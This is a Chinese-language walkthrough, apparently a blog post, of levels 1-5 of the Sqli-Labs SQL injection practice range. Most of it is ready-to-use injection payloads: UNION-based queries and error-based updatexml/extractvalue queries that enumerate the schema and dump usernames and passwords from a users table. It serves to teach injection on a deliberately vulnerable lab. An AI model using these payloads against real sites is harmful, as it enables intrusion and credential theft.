Sqli-Labs靶场通关(1-5关)详解

第一关(Less-1)

一、判断注入类型

?id=2-1和?id=1内容不一样,说明是字符型注入

二、猜列数

?id=1' order by 3--+正常

?id=1' order by 4--+异常

说明存在3列

三、确认回显位

?id=-1' union select 1,2,3 --+

四、爆库名

?id=-1' union select 1,database(),3--+

五、爆表名

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+

爆所有表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

六、爆列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

七、爆数据

?id=-1' union select 1,group_concat(id,'-',username,'-',password),3 from users--+

第二关(Less-2)

一、判断注入类型

?id=1 and 1=1 --+正常

?id=1 and 1=2 --+异常

说明是数字型注入

二、猜列数

?id=1 order by 3 --+正常

?id=1 order by 4 --+异常

说明有三列

三、确认回显位

?id=-1 union select 1,2,3 --+

四、爆库名

?id=-1 union select 1,database(),3 --+

五、爆表名

?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security' --+

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

六、爆列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

七、爆数据

?id=-1 union select 1,group_concat(id,'-',username,'-',password),3 from users

第三关(Less-3)

一、判断注入类型

查看源码

?id=1') and 1=1 --+正常

?id=1') and 1=2 --+异常

说明为')注入

二、猜列数

?id=1') order by 3 --+正常

?id=1') order by 4 --+异常

说明有三列

三、确认回显位

?id=-1') union select 1,2,3 --+

四、爆库名

?id=-1') union select 1,database(),3 --+

五、爆表名

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

六、爆列名

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

七、爆数据

?id=-1') union select 1,group_concat(id,'-',username,'-',password),3 from users--+

第四关(Less-4)

一、判断注入类型

查看源码

?id=1") and 1=1 --+正常

?id=1") and 1=2 --+异常

说明为“)注入

二、猜列数

?id=1") order by 3 --+正常

?id=1") order by 4 --+异常

说明有3列

三、确认回显位

?id=-1") union select 1,2,3 --+

四、爆库名

?id=-1") union select 1,database(),3 --+

五、爆表名

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

六、爆列名

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

七、爆数据

?id=-1") union select 1,group_concat(id,'-',username,'-',password),3 from users --+

第五关(Less-5)

一、判断注入类型

?id=1' and 1=1 --+正常

?id=1' and 1=2--+异常

说明是’注入

二、猜列数

?id=1' order by 3--+正常

?id=1' order by 4--+异常

说明有3列

三、确认回显位(发现无回显位)

?id=-1' union select 1,2,3 --+

四、爆库名

无回显位,利用报错注入爆库名

?id=1' and updatexml(1,concat(1,(select database())),1) --+

五、爆表名

?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) --+

方法一:

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

方法二:

?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

六、爆列名

方法一:

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ),1) --+

方法二:

?id=1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

七、爆数据

方法一:

?id=1' and updatexml(1,concat(1,(select (id,'-',username,'-',password) from users) ),1) --+

?id=1' and updatexml(1,concat(1,(select username from users limit 0,1) ),1) --+

?id=1' and updatexml(1,concat(1,(select password from users limit 0,1) ),1) --+

?id=1' and updatexml(1,concat(1,(select username from users limit 1,1) ),1) --+

?id=1' and updatexml(1,concat(1,(select password from users limit 1,1) ),1) --+

方法二:

?id=1' and extractvalue(1,concat(1,(select username from users limit 0,1))) --+

?id=1' and extractvalue(1,concat(1,(select password from users limit 0,1))) --+

?id=1' and extractvalue(1,concat(1,(select username from users limit 1,1))) --+

?id=1' and extractvalue(1,concat(1,(select password from users limit 0,1))) --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值